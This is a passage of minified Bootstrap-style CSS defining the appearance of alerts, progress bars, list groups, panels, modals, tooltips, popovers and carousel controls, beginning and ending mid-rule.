.close{position:relative;top:-2px;right:-21px;color:inherit}.alert-success{color:#3c763d;background-color:#dff0d8;border-color:#d6e9c6}.alert-success hr{border-top-color:#c9e2b3}.alert-success .alert-link{color:#2b542c}.alert-info{color:#31708f;background-color:#d9edf7;border-color:#bce8f1}.alert-info hr{border-top-color:#a6e1ec}.alert-info .alert-link{color:#245269}.alert-warning{color:#8a6d3b;background-color:#fcf8e3;border-color:#faebcc}.alert-warning hr{border-top-color:#f7e1b5}.alert-warning .alert-link{color:#66512c}.alert-danger{color:#a94442;background-color:#f2dede;border-color:#ebccd1}.alert-danger hr{border-top-color:#e4b9c0}.alert-danger .alert-link{color:#843534}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-o-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}.progress{height:20px;margin-bottom:20px;overflow:hidden;background-color:#f5f5f5;border-radius:4px;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,.1);box-shadow:inset 0 1px 2px rgba(0,0,0,.1)}.progress-bar{float:left;width:0;height:100%;font-size:12px;line-height:20px;color:#fff;text-align:center;background-color:#337ab7;-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,.15);box-shadow:inset 0 -1px 0 rgba(0,0,0,.15);-webkit-transition:width .6s ease;-o-transition:width .6s ease;transition:width .6s ease}.progress-bar-striped,.progress-striped .progress-bar{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);-webkit-background-size:40px 40px;background-size:40px 40px}.progress-bar.active,.progress.active .progress-bar{-webkit-animation:progress-bar-stripes 2s linear infinite;-o-animation:progress-bar-stripes 2s linear infinite;animation:progress-bar-stripes 2s linear infinite}.progress-bar-success{background-color:#5cb85c}.progress-striped .progress-bar-success{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.progress-bar-info{background-color:#5bc0de}.progress-striped .progress-bar-info{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.progress-bar-warning{background-color:#f0ad4e}.progress-striped .progress-bar-warning{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.progress-bar-danger{background-color:#d9534f}.progress-striped .progress-bar-danger{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.media{margin-top:15px}.media:first-child{margin-top:0}.media,.media-body{overflow:hidden;zoom:1}.media-body{width:10000px}.media-object{display:block}.media-right,.media>.pull-right{padding-left:10px}.media-left,.media>.pull-left{padding-right:10px}.media-body,.media-left,.media-right{display:table-cell;vertical-align:top}.media-middle{vertical-align:middle}.media-bottom{vertical-align:bottom}.media-heading{margin-top:0;margin-bottom:5px}.media-list{padding-left:0;list-style:none}.list-group{padding-left:0;margin-bottom:20px}.list-group-item{position:relative;display:block;padding:10px 15px;margin-bottom:-1px;background-color:#fff;border:1px solid #ddd}.list-group-item:first-child{border-top-left-radius:4px;border-top-right-radius:4px}.list-group-item:last-child{margin-bottom:0;border-bottom-right-radius:4px;border-bottom-left-radius:4px}a.list-group-item{color:#555}a.list-group-item .list-group-item-heading{color:#333}a.list-group-item:focus,a.list-group-item:hover{color:#555;text-decoration:none;background-color:#f5f5f5}.list-group-item.disabled,.list-group-item.disabled:focus,.list-group-item.disabled:hover{color:#777;cursor:not-allowed;background-color:#eee}.list-group-item.disabled .list-group-item-heading,.list-group-item.disabled:focus .list-group-item-heading,.list-group-item.disabled:hover .list-group-item-heading{color:inherit}.list-group-item.disabled .list-group-item-text,.list-group-item.disabled:focus .list-group-item-text,.list-group-item.disabled:hover .list-group-item-text{color:#777}.list-group-item.active,.list-group-item.active:focus,.list-group-item.active:hover{z-index:2;color:#fff;background-color:#337ab7;border-color:#337ab7}.list-group-item.active .list-group-item-heading,.list-group-item.active .list-group-item-heading>.small,.list-group-item.active .list-group-item-heading>small,.list-group-item.active:focus .list-group-item-heading,.list-group-item.active:focus .list-group-item-heading>.small,.list-group-item.active:focus .list-group-item-heading>small,.list-group-item.active:hover .list-group-item-heading,.list-group-item.active:hover .list-group-item-heading>.small,.list-group-item.active:hover .list-group-item-heading>small{color:inherit}.list-group-item.active .list-group-item-text,.list-group-item.active:focus .list-group-item-text,.list-group-item.active:hover .list-group-item-text{color:#c7ddef}.list-group-item-success{color:#3c763d;background-color:#dff0d8}a.list-group-item-success{color:#3c763d}a.list-group-item-success .list-group-item-heading{color:inherit}a.list-group-item-success:focus,a.list-group-item-success:hover{color:#3c763d;background-color:#d0e9c6}a.list-group-item-success.active,a.list-group-item-success.active:focus,a.list-group-item-success.active:hover{color:#fff;background-color:#3c763d;border-color:#3c763d}.list-group-item-info{color:#31708f;background-color:#d9edf7}a.list-group-item-info{color:#31708f}a.list-group-item-info .list-group-item-heading{color:inherit}a.list-group-item-info:focus,a.list-group-item-info:hover{color:#31708f;background-color:#c4e3f3}a.list-group-item-info.active,a.list-group-item-info.active:focus,a.list-group-item-info.active:hover{color:#fff;background-color:#31708f;border-color:#31708f}.list-group-item-warning{color:#8a6d3b;background-color:#fcf8e3}a.list-group-item-warning{color:#8a6d3b}a.list-group-item-warning .list-group-item-heading{color:inherit}a.list-group-item-warning:focus,a.list-group-item-warning:hover{color:#8a6d3b;background-color:#faf2cc}a.list-group-item-warning.active,a.list-group-item-warning.active:focus,a.list-group-item-warning.active:hover{color:#fff;background-color:#8a6d3b;border-color:#8a6d3b}.list-group-item-danger{color:#a94442;background-color:#f2dede}a.list-group-item-danger{color:#a94442}a.list-group-item-danger .list-group-item-heading{color:inherit}a.list-group-item-danger:focus,a.list-group-item-danger:hover{color:#a94442;background-color:#ebcccc}a.list-group-item-danger.active,a.list-group-item-danger.active:focus,a.list-group-item-danger.active:hover{color:#fff;background-color:#a94442;border-color:#a94442}.list-group-item-heading{margin-top:0;margin-bottom:5px}.list-group-item-text{margin-bottom:0;line-height:1.3}.panel{margin-bottom:20px;background-color:#fff;border:1px solid transparent;border-radius:4px;-webkit-box-shadow:0 1px 1px rgba(0,0,0,.05);box-shadow:0 1px 1px rgba(0,0,0,.05)}.panel-body{padding:15px}.panel-heading{padding:10px 15px;border-bottom:1px solid transparent;border-top-left-radius:3px;border-top-right-radius:3px}.panel-heading>.dropdown .dropdown-toggle{color:inherit}.panel-title{margin-top:0;margin-bottom:0;font-size:16px;color:inherit}.panel-title>.small,.panel-title>.small>a,.panel-title>a,.panel-title>small,.panel-title>small>a{color:inherit}.panel-footer{padding:10px 15px;background-color:#f5f5f5;border-top:1px solid #ddd;border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.list-group,.panel>.panel-collapse>.list-group{margin-bottom:0}.panel>.list-group .list-group-item,.panel>.panel-collapse>.list-group .list-group-item{border-width:1px 0;border-radius:0}.panel>.list-group:first-child .list-group-item:first-child,.panel>.panel-collapse>.list-group:first-child .list-group-item:first-child{border-top:0;border-top-left-radius:3px;border-top-right-radius:3px}.panel>.list-group:last-child .list-group-item:last-child,.panel>.panel-collapse>.list-group:last-child .list-group-item:last-child{border-bottom:0;border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel-heading+.list-group .list-group-item:first-child{border-top-width:0}.list-group+.panel-footer{border-top-width:0}.panel>.panel-collapse>.table,.panel>.table,.panel>.table-responsive>.table{margin-bottom:0}.panel>.panel-collapse>.table caption,.panel>.table caption,.panel>.table-responsive>.table caption{padding-right:15px;padding-left:15px}.panel>.table-responsive:first-child>.table:first-child,.panel>.table:first-child{border-top-left-radius:3px;border-top-right-radius:3px}.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child,.panel>.table:first-child>thead:first-child>tr:first-child{border-top-left-radius:3px;border-top-right-radius:3px}.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:first-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:first-child,.panel>.table:first-child>thead:first-child>tr:first-child td:first-child,.panel>.table:first-child>thead:first-child>tr:first-child th:first-child{border-top-left-radius:3px}.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>tbody:first-child>tr:first-child th:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table-responsive:first-child>.table:first-child>thead:first-child>tr:first-child th:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child td:last-child,.panel>.table:first-child>tbody:first-child>tr:first-child th:last-child,.panel>.table:first-child>thead:first-child>tr:first-child td:last-child,.panel>.table:first-child>thead:first-child>tr:first-child th:last-child{border-top-right-radius:3px}.panel>.table-responsive:last-child>.table:last-child,.panel>.table:last-child{border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child{border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:first-child,.panel>.table:last-child>tbody:last-child>tr:last-child td:first-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:first-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:first-child{border-bottom-left-radius:3px}.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child td:last-child,.panel>.table-responsive:last-child>.table:last-child>tfoot:last-child>tr:last-child th:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child td:last-child,.panel>.table:last-child>tbody:last-child>tr:last-child th:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child td:last-child,.panel>.table:last-child>tfoot:last-child>tr:last-child th:last-child{border-bottom-right-radius:3px}.panel>.panel-body+.table,.panel>.panel-body+.table-responsive,.panel>.table+.panel-body,.panel>.table-responsive+.panel-body{border-top:1px solid #ddd}.panel>.table>tbody:first-child>tr:first-child td,.panel>.table>tbody:first-child>tr:first-child th{border-top:0}.panel>.table-bordered,.panel>.table-responsive>.table-bordered{border:0}.panel>.table-bordered>tbody>tr>td:first-child,.panel>.table-bordered>tbody>tr>th:first-child,.panel>.table-bordered>tfoot>tr>td:first-child,.panel>.table-bordered>tfoot>tr>th:first-child,.panel>.table-bordered>thead>tr>td:first-child,.panel>.table-bordered>thead>tr>th:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:first-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:first-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:first-child,.panel>.table-responsive>.table-bordered>thead>tr>td:first-child,.panel>.table-responsive>.table-bordered>thead>tr>th:first-child{border-left:0}.panel>.table-bordered>tbody>tr>td:last-child,.panel>.table-bordered>tbody>tr>th:last-child,.panel>.table-bordered>tfoot>tr>td:last-child,.panel>.table-bordered>tfoot>tr>th:last-child,.panel>.table-bordered>thead>tr>td:last-child,.panel>.table-bordered>thead>tr>th:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>td:last-child,.panel>.table-responsive>.table-bordered>tbody>tr>th:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>td:last-child,.panel>.table-responsive>.table-bordered>tfoot>tr>th:last-child,.panel>.table-responsive>.table-bordered>thead>tr>td:last-child,.panel>.table-responsive>.table-bordered>thead>tr>th:last-child{border-right:0}.panel>.table-bordered>tbody>tr:first-child>td,.panel>.table-bordered>tbody>tr:first-child>th,.panel>.table-bordered>thead>tr:first-child>td,.panel>.table-bordered>thead>tr:first-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:first-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:first-child>th,.panel>.table-responsive>.table-bordered>thead>tr:first-child>td,.panel>.table-responsive>.table-bordered>thead>tr:first-child>th{border-bottom:0}.panel>.table-bordered>tbody>tr:last-child>td,.panel>.table-bordered>tbody>tr:last-child>th,.panel>.table-bordered>tfoot>tr:last-child>td,.panel>.table-bordered>tfoot>tr:last-child>th,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>td,.panel>.table-responsive>.table-bordered>tbody>tr:last-child>th,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>td,.panel>.table-responsive>.table-bordered>tfoot>tr:last-child>th{border-bottom:0}.panel>.table-responsive{margin-bottom:0;border:0}.panel-group{margin-bottom:20px}.panel-group .panel{margin-bottom:0;border-radius:4px}.panel-group .panel+.panel{margin-top:5px}.panel-group .panel-heading{border-bottom:0}.panel-group .panel-heading+.panel-collapse>.list-group,.panel-group .panel-heading+.panel-collapse>.panel-body{border-top:1px solid #ddd}.panel-group .panel-footer{border-top:0}.panel-group .panel-footer+.panel-collapse .panel-body{border-bottom:1px solid #ddd}.panel-default{border-color:#ddd}.panel-default>.panel-heading{color:#333;background-color:#f5f5f5;border-color:#ddd}.panel-default>.panel-heading+.panel-collapse>.panel-body{border-top-color:#ddd}.panel-default>.panel-heading .badge{color:#f5f5f5;background-color:#333}.panel-default>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#ddd}.panel-primary{border-color:#337ab7}.panel-primary>.panel-heading{color:#fff;background-color:#337ab7;border-color:#337ab7}.panel-primary>.panel-heading+.panel-collapse>.panel-body{border-top-color:#337ab7}.panel-primary>.panel-heading .badge{color:#337ab7;background-color:#fff}.panel-primary>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#337ab7}.panel-success{border-color:#d6e9c6}.panel-success>.panel-heading{color:#3c763d;background-color:#dff0d8;border-color:#d6e9c6}.panel-success>.panel-heading+.panel-collapse>.panel-body{border-top-color:#d6e9c6}.panel-success>.panel-heading .badge{color:#dff0d8;background-color:#3c763d}.panel-success>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#d6e9c6}.panel-info{border-color:#bce8f1}.panel-info>.panel-heading{color:#31708f;background-color:#d9edf7;border-color:#bce8f1}.panel-info>.panel-heading+.panel-collapse>.panel-body{border-top-color:#bce8f1}.panel-info>.panel-heading .badge{color:#d9edf7;background-color:#31708f}.panel-info>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#bce8f1}.panel-warning{border-color:#faebcc}.panel-warning>.panel-heading{color:#8a6d3b;background-color:#fcf8e3;border-color:#faebcc}.panel-warning>.panel-heading+.panel-collapse>.panel-body{border-top-color:#faebcc}.panel-warning>.panel-heading .badge{color:#fcf8e3;background-color:#8a6d3b}.panel-warning>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#faebcc}.panel-danger{border-color:#ebccd1}.panel-danger>.panel-heading{color:#a94442;background-color:#f2dede;border-color:#ebccd1}.panel-danger>.panel-heading+.panel-collapse>.panel-body{border-top-color:#ebccd1}.panel-danger>.panel-heading .badge{color:#f2dede;background-color:#a94442}.panel-danger>.panel-footer+.panel-collapse>.panel-body{border-bottom-color:#ebccd1}.embed-responsive{position:relative;display:block;height:0;padding:0;overflow:hidden}.embed-responsive .embed-responsive-item,.embed-responsive embed,.embed-responsive iframe,.embed-responsive object,.embed-responsive video{position:absolute;top:0;bottom:0;left:0;width:100%;height:100%;border:0}.embed-responsive-16by9{padding-bottom:56.25%}.embed-responsive-4by3{padding-bottom:75%}.well{min-height:20px;padding:19px;margin-bottom:20px;background-color:#f5f5f5;border:1px solid #e3e3e3;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.05);box-shadow:inset 0 1px 1px rgba(0,0,0,.05)}.well blockquote{border-color:#ddd;border-color:rgba(0,0,0,.15)}.well-lg{padding:24px;border-radius:6px}.well-sm{padding:9px;border-radius:3px}.close{float:right;font-size:21px;font-weight:700;line-height:1;color:#000;text-shadow:0 1px 0 #fff;filter:alpha(opacity=20);opacity:.2}.close:focus,.close:hover{color:#000;text-decoration:none;cursor:pointer;filter:alpha(opacity=50);opacity:.5}button.close{-webkit-appearance:none;padding:0;cursor:pointer;background:0 0;border:0}.modal-open{overflow:hidden}.modal{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1050;display:none;overflow:hidden;-webkit-overflow-scrolling:touch;outline:0}.modal.fade .modal-dialog{-webkit-transition:-webkit-transform .3s ease-out;-o-transition:-o-transform .3s ease-out;transition:transform .3s ease-out;-webkit-transform:translate(0,-25%);-ms-transform:translate(0,-25%);-o-transform:translate(0,-25%);transform:translate(0,-25%)}.modal.in .modal-dialog{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);-o-transform:translate(0,0);transform:translate(0,0)}.modal-open .modal{overflow-x:hidden;overflow-y:auto}.modal-dialog{position:relative;width:auto;margin:10px}.modal-content{position:relative;background-color:#fff;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #999;border:1px solid rgba(0,0,0,.2);border-radius:6px;outline:0;-webkit-box-shadow:0 3px 9px rgba(0,0,0,.5);box-shadow:0 3px 9px rgba(0,0,0,.5)}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;background-color:#000}.modal-backdrop.fade{filter:alpha(opacity=0);opacity:0}.modal-backdrop.in{filter:alpha(opacity=50);opacity:.5}.modal-header{min-height:16.43px;padding:15px;border-bottom:1px solid #e5e5e5}.modal-header .close{margin-top:-2px}.modal-title{margin:0;line-height:1.42857143}.modal-body{position:relative;padding:15px}.modal-footer{padding:15px;text-align:right;border-top:1px solid #e5e5e5}.modal-footer .btn+.btn{margin-bottom:0;margin-left:5px}.modal-footer .btn-group .btn+.btn{margin-left:-1px}.modal-footer .btn-block+.btn-block{margin-left:0}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media (min-width:768px){.modal-dialog{width:600px;margin:30px auto}.modal-content{-webkit-box-shadow:0 5px 15px rgba(0,0,0,.5);box-shadow:0 5px 15px rgba(0,0,0,.5)}.modal-sm{width:300px}}@media (min-width:992px){.modal-lg{width:900px}}.tooltip{position:absolute;z-index:1070;display:block;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:12px;font-weight:400;line-height:1.4;filter:alpha(opacity=0);opacity:0}.tooltip.in{filter:alpha(opacity=90);opacity:.9}.tooltip.top{padding:5px 0;margin-top:-3px}.tooltip.right{padding:0 5px;margin-left:3px}.tooltip.bottom{padding:5px 0;margin-top:3px}.tooltip.left{padding:0 5px;margin-left:-3px}.tooltip-inner{max-width:200px;padding:3px 8px;color:#fff;text-align:center;text-decoration:none;background-color:#000;border-radius:4px}.tooltip-arrow{position:absolute;width:0;height:0;border-color:transparent;border-style:solid}.tooltip.top .tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.top-left .tooltip-arrow{right:5px;bottom:0;margin-bottom:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.top-right .tooltip-arrow{bottom:0;left:5px;margin-bottom:-5px;border-width:5px 5px 0;border-top-color:#000}.tooltip.right .tooltip-arrow{top:50%;left:0;margin-top:-5px;border-width:5px 5px 5px 0;border-right-color:#000}.tooltip.left .tooltip-arrow{top:50%;right:0;margin-top:-5px;border-width:5px 0 5px 5px;border-left-color:#000}.tooltip.bottom .tooltip-arrow{top:0;left:50%;margin-left:-5px;border-width:0 5px 5px;border-bottom-color:#000}.tooltip.bottom-left .tooltip-arrow{top:0;right:5px;margin-top:-5px;border-width:0 5px 5px;border-bottom-color:#000}.tooltip.bottom-right .tooltip-arrow{top:0;left:5px;margin-top:-5px;border-width:0 5px 5px;border-bottom-color:#000}.popover{position:absolute;top:0;left:0;z-index:1060;display:none;max-width:276px;padding:1px;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;font-weight:400;line-height:1.42857143;text-align:left;white-space:normal;background-color:#fff;-webkit-background-clip:padding-box;background-clip:padding-box;border:1px solid #ccc;border:1px solid rgba(0,0,0,.2);border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0,0,0,.2);box-shadow:0 5px 10px rgba(0,0,0,.2)}.popover.top{margin-top:-10px}.popover.right{margin-left:10px}.popover.bottom{margin-top:10px}.popover.left{margin-left:-10px}.popover-title{padding:8px 14px;margin:0;font-size:14px;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;border-radius:5px 5px 0 0}.popover-content{padding:9px 14px}.popover>.arrow,.popover>.arrow:after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid}.popover>.arrow{border-width:11px}.popover>.arrow:after{content:"";border-width:10px}.popover.top>.arrow{bottom:-11px;left:50%;margin-left:-11px;border-top-color:#999;border-top-color:rgba(0,0,0,.25);border-bottom-width:0}.popover.top>.arrow:after{bottom:1px;margin-left:-10px;content:" ";border-top-color:#fff;border-bottom-width:0}.popover.right>.arrow{top:50%;left:-11px;margin-top:-11px;border-right-color:#999;border-right-color:rgba(0,0,0,.25);border-left-width:0}.popover.right>.arrow:after{bottom:-10px;left:1px;content:" ";border-right-color:#fff;border-left-width:0}.popover.bottom>.arrow{top:-11px;left:50%;margin-left:-11px;border-top-width:0;border-bottom-color:#999;border-bottom-color:rgba(0,0,0,.25)}.popover.bottom>.arrow:after{top:1px;margin-left:-10px;content:" ";border-top-width:0;border-bottom-color:#fff}.popover.left>.arrow{top:50%;right:-11px;margin-top:-11px;border-right-width:0;border-left-color:#999;border-left-color:rgba(0,0,0,.25)}.popover.left>.arrow:after{right:1px;bottom:-10px;content:" ";border-right-width:0;border-left-color:#fff}.carousel{position:relative}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-inner>.item{position:relative;display:none;-webkit-transition:.6s ease-in-out left;-o-transition:.6s ease-in-out left;transition:.6s ease-in-out left}.carousel-inner>.item>a>img,.carousel-inner>.item>img{line-height:1}@media all and (transform-3d),(-webkit-transform-3d){.carousel-inner>.item{-webkit-transition:-webkit-transform .6s ease-in-out;-o-transition:-o-transform .6s ease-in-out;transition:transform .6s ease-in-out;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-perspective:1000;perspective:1000}.carousel-inner>.item.active.right,.carousel-inner>.item.next{left:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}.carousel-inner>.item.active.left,.carousel-inner>.item.prev{left:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}.carousel-inner>.item.active,.carousel-inner>.item.next.left,.carousel-inner>.item.prev.right{left:0;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.carousel-inner>.active,.carousel-inner>.next,.carousel-inner>.prev{display:block}.carousel-inner>.active{left:0}.carousel-inner>.next,.carousel-inner>.prev{position:absolute;top:0;width:100%}.carousel-inner>.next{left:100%}.carousel-inner>.prev{left:-100%}.carousel-inner>.next.left,.carousel-inner>.prev.right{left:0}.carousel-inner>.active.left{left:-100%}.carousel-inner>.active.right{left:100%}.carousel-control{position:absolute;top:0;bottom:0;left:0;width:15%;font-size:20px;color:#fff;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,.6);filter:alpha(opacity=50);opacity:.5}.carousel-control.left{background-image:-webkit-linear-gradient(left,rgba(0,0,0,.5) 0,rgba(0,0,0,.0001) 100%);background-image:-o-linear-gradient(left,rgba(0,0,0,.5) 0,rgba(0,0,0,.0001) 100%);background-image:-webkit-gradient(linear,left top,right top,from(rgba(0,0,0,.5)),to(rgba(0,0,0,.0001)));background-image:linear-gradient(to right,rgba(0,0,0,.5) 0,rgba(0,0,0,.0001) 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1);background-repeat:repeat-x}.carousel-control.right{right:0;left:auto;background-image:-webkit-linear-gradient(left,rgba(0,0,0,.0001) 0,rgba(0,0,0,.5) 100%);background-image:-o-linear-gradient(left,rgba(0,0,0,.0001) 0,rgba(0,0,0,.5) 100%);background-image:-webkit-gradient(linear,left top,right top,from(rgba(0,0,0,.0001)),to(rgba(0,0,0,.5)));background-image:linear-gradient(to right,rgba(0,0,0,.0001) 0,rgba(0,0,0,.5) 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1);background-repeat:repeat-x}.carousel-control:focus,.carousel-control:hover{color:#fff;text-decoration:none;filter:alpha(opacity=90);outline:0;opacity:.9}.carousel-control .glyphicon-chevron-left,.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next,.carousel-control .icon-prev{position:absolute;top:50%;z-index:5;display:inline-block}.carousel-control .glyphicon-chevron-left,.carousel-control .icon-prev{left:50%;margin-left:-10px}.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next{right:50%;margin-right:-10px}.carousel-control .icon-next,.carousel-control .icon-prev{width:20px;height:20px;margin-top:-10px;font-family:serif;line-height:1}.carousel-control .icon-prev:before{content:'\2039'}.carousel-control .icon-next:before{content:'\203a'}.carousel-indicators{position:absolute;bottom:10px;left:50%;z-index:15;width:60%;padding-left:0;margin-left:-30%;text-align:center;list-style:none}.carousel-indicators li{display:inline-block;width:10px;height:10px;margin:1px;text-indent:-999px;cursor:pointer;background-color:#000 \9;background-color:rgba(0,0,0,0);border:1px solid #fff;border-radius:10px}.carousel-indicators .active{width:12px;height:12px;margin:0;background-color:#fff}.carousel-caption{position:absolute;right:15%;bottom:20px;left:15%;z-index:10;padding-top:20px;padding-bottom:20px;color:#fff;text-align:center;text-shadow:0 1px 2px rgba(0,0,0,.6)}.carousel-caption .btn{text-shadow:none}@media screen and (min-width:768px){.carousel-control .glyphicon-chevron-left,.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next,.carousel-control .icon-prev{width:30px;height:30px;margin-top:-15px;font-size:30px}.carousel-control .glyphicon-chevron-left,.carousel-control .icon-prev{margin-left:-15px}.carousel-control .glyphicon-chevron-right,.carousel-control .icon-next{margin-right:-15px}.carousel-caption{right:20%;left:20%;padding-bottom:30px}.carousel-indicators{bottom:20px}}.btn-group-vertical>.btn-group:after,.btn-group-vertical>.btn-group:before,.btn-toolbar:after,.btn-toolbar:before,.clearfix:after,.clearfix:before,.container-fluid:after,.container-fluid:before,.container:after,.container:before,.dl-horizontal dd:after,.dl-horizontal dd:before,.form-horizontal .form-group:after,.form-horizontal .form-group:before,.modal-footer:after,.modal-footer:before,.nav:after,.nav:before,.navbar-collapse:after,.navbar-collapse:before,.navbar-header:after,.navbar-header:before,.navbar:after,.navbar:before,.pager:after,.pager:before,.panel-body:after,.panel-body:before,.row:after,.row:before{display:table;content:" 